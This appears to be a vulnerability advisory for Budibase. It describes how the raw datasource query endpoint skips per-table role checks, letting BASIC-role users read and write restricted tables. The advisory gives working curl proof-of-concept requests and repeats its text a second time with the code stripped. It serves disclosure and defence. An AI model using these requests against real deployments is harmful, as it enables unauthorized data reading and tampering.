Summary
POST /api/datasources/query lets any authenticated user who holds the lowest non-public application role (BASIC) read, create, update, or delete rows in any table of any datasource configured in that application, even when the application owner has explicitly restricted that specific table to a higher role (POWER or ADMIN) via the table's permission settings. The normal row API (/api/:tableId/rows) correctly enforces the per-table role, but this alternate "raw query" endpoint does not check the caller's role against the target table at all.
Details
The route is registered in packages/server/src/api/routes/datasource.ts:
.post(
"/api/datasources/query",
authorized(
permissions.PermissionType.TABLE,
permissions.PermissionLevel.READ
),
datasourceQueryValidator(),
datasourceController.query
)
Every sibling route that accepts a resource ID in the request (e.g. /api/queries/preview, /api/queries) is wrapped with bodyResource("datasourceId") or paramResource/paramSubResource before the authorized() middleware, which populates ctx.resourceId so the authorization middleware can look up the specific role required for that resource. This route is missing that call.
In packages/server/src/middleware/authorized.ts:
function hasResource(ctx: any) {
return ctx.resourceId != null
}
...
const appId = context.getAppId()
if (appId && hasResource(ctx)) {
resourceRoles = await roles.getRequiredResourceRole(permLevel, ctx)
...
}
Because ctx.resourceId is never set for this route, resourceRoles stays [], and checkAuthorizedResource falls through to a generic, table-agnostic check:
if (resourceRoles.length > 0) {
// per-resource role check
} else if (
!permissions.doesHaveBasePermission(permType, permLevel, userRoles)
) {
ctx.throw(403, permError)
}
doesHaveBasePermission(TABLE, READ, ...) only checks whether the caller's general app role (BASIC/POWER/ADMIN) includes TABLE at READ level or above in the builtin permission sets in packages/backend-core/src/security/permissions.ts — it has no notion of which table is actually being targeted. Every non-public role (BASIC inherits the WRITE builtin permission set, which includes TABLE/WRITE, and getAllowedLevels(WRITE) includes READ) passes this check unconditionally, regardless of any per-table role restriction configured by the app owner.
The controller then executes the query with no further check:
// packages/server/src/api/controllers/datasource.ts
export async function query(ctx: UserCtx) {
const queryJson = ctx.request.body
ctx.body = await getDatasourceAndQuery(queryJson)
}
// packages/server/src/api/controllers/row/utils.ts
export async function getDatasourceAndQuery(json: any) {
const datasourceId = json.endpoint.datasourceId
const datasource = await sdk.datasources.get(datasourceId)
return makeExternalQuery(datasource, json)
}
json.endpoint.operation accepts READ, CREATE, UPDATE, or DELETE (validated in packages/server/src/api/routes/utils/validators.ts, datasourceQueryValidator), so the same missing check applies to writes and deletes as well, not just reads. The route hardcodes permissions.PermissionLevel.READ for the base-permission check regardless of the operation actually requested in the body.
The table names needed to target this endpoint (entityId) are themselves obtainable through the same class of bug: GET /api/datasources/:datasourceId (used to fetch schema/entities) is likewise only guarded by doesHaveBasePermission, so any BASIC-role user can list every table and column of every datasource in the app without needing builder access.
PoC
Prerequisites: an app with a Postgres (or any external SQL) datasource containing a table secrets, whose READ permission is set to POWER (i.e. explicitly excluding BASIC users), and a user with only the BASIC role assigned in that app.
# Confirm the BASIC user cannot read the table through the normal row API
curl -s -b "$BASIC_SESSION" \
-H "x-budibase-app-id: $APP_ID" \
"http://HOST/api/$TABLE_ID/rows" -w "\nHTTP %{http_code}"
# -> {"message":"User does not have permission","status":403}
# Confirm the BASIC user can freely list the datasource's schema (table names, columns)
curl -s -b "$BASIC_SESSION" \
-H "x-budibase-app-id: $APP_ID" \
"http://HOST/api/datasources/$DATASOURCE_ID"
# -> 200, full "entities" object including table "secrets" and its columns
# Bypass: same BASIC user reads the restricted table via the raw query endpoint
curl -s -b "$BASIC_SESSION" \
-H "x-budibase-app-id: $APP_ID" -H "Content-Type: application/json" \
-X POST "http://HOST/api/datasources/query" \
-d '{"endpoint":{"datasourceId":"'"$DATASOURCE_ID"'","operation":"READ","entityId":"secrets"},"resource":{"fields":["id","data"]},"filters":{}}'
# -> HTTP 200 [{"id":1,"data":"TOP-SECRET-ADMIN-ONLY-VALUE"}]
# Same bypass also works for writes: set the table's WRITE permission to POWER too,
# confirm normal row-create is blocked for BASIC:
curl -s -b "$BASIC_SESSION" -X POST \
-H "x-budibase-app-id: $APP_ID" -H "Content-Type: application/json" \
"http://HOST/api/$TABLE_ID/rows" -d '{"data":"SHOULD-BE-BLOCKED"}'
# -> {"message":"User does not have permission","status":403}
# ... but the raw query endpoint still allows the write:
curl -s -b "$BASIC_SESSION" \
-H "x-budibase-app-id: $APP_ID" -H "Content-Type: application/json" \
-X POST "http://HOST/api/datasources/query" \
-d '{"endpoint":{"datasourceId":"'"$DATASOURCE_ID"'","operation":"CREATE","entityId":"secrets"},"body":{"data":"WRITE-BYPASS-BY-BASIC-USER"}}'
# -> HTTP 200 [{"id":3,"data":"WRITE-BYPASS-BY-BASIC-USER"}]
# Verified as admin: the row is persisted in the table.
Impact
Any authenticated user with the lowest non-public role in a Budibase application (BASIC) can read, insert, update, or delete data in any table of any external datasource configured in that application, completely bypassing the per-table role restrictions (POWER/ADMIN-only tables) that the application owner explicitly configured through the Data > Table > Permissions UI. This defeats Budibase's core table-level access-control feature for any app that relies on per-table roles to segregate sensitive data (e.g. an HR or finance table restricted to POWER/ADMIN roles while regular end users hold BASIC). The same endpoint also discloses the full datasource schema (table and column names) to any BASIC user, which is the information needed to exploit the bypass.
Summary
POST /api/datasources/querylets any authenticated user who holds the lowest non-public application role (BASIC) read, create, update, or delete rows in any table of any datasource configured in that application, even when the application owner has explicitly restricted that specific table to a higher role (POWERorADMIN) via the table's permission settings. The normal row API (/api/:tableId/rows) correctly enforces the per-table role, but this alternate "raw query" endpoint does not check the caller's role against the target table at all.Details
The route is registered in
packages/server/src/api/routes/datasource.ts:Every sibling route that accepts a resource ID in the request (e.g.
/api/queries/preview,/api/queries) is wrapped withbodyResource("datasourceId")orparamResource/paramSubResourcebefore theauthorized()middleware, which populatesctx.resourceIdso the authorization middleware can look up the specific role required for that resource. This route is missing that call.In
packages/server/src/middleware/authorized.ts:Because
ctx.resourceIdis never set for this route,resourceRolesstays[], andcheckAuthorizedResourcefalls through to a generic, table-agnostic check:doesHaveBasePermission(TABLE, READ, ...)only checks whether the caller's general app role (BASIC/POWER/ADMIN) includesTABLEatREADlevel or above in the builtin permission sets inpackages/backend-core/src/security/permissions.ts— it has no notion of which table is actually being targeted. Every non-public role (BASICinherits theWRITEbuiltin permission set, which includesTABLE/WRITE, andgetAllowedLevels(WRITE)includesREAD) passes this check unconditionally, regardless of any per-table role restriction configured by the app owner.The controller then executes the query with no further check:
json.endpoint.operationacceptsREAD,CREATE,UPDATE, orDELETE(validated inpackages/server/src/api/routes/utils/validators.ts,datasourceQueryValidator), so the same missing check applies to writes and deletes as well, not just reads. The route hardcodespermissions.PermissionLevel.READfor the base-permission check regardless of the operation actually requested in the body.The table names needed to target this endpoint (
entityId) are themselves obtainable through the same class of bug:GET /api/datasources/:datasourceId(used to fetch schema/entities) is likewise only guarded bydoesHaveBasePermission, so any BASIC-role user can list every table and column of every datasource in the app without needing builder access.PoC
Prerequisites: an app with a Postgres (or any external SQL) datasource containing a table
secrets, whose READ permission is set toPOWER(i.e. explicitly excludingBASICusers), and a user with only theBASICrole assigned in that app.Impact
Any authenticated user with the lowest non-public role in a Budibase application (
BASIC) can read, insert, update, or delete data in any table of any external datasource configured in that application, completely bypassing the per-table role restrictions (POWER/ADMIN-only tables) that the application owner explicitly configured through the Data > Table > Permissions UI. This defeats Budibase's core table-level access-control feature for any app that relies on per-table roles to segregate sensitive data (e.g. an HR or finance table restricted toPOWER/ADMINroles while regular end users holdBASIC). The same endpoint also discloses the full datasource schema (table and column names) to anyBASICuser, which is the information needed to exploit the bypass.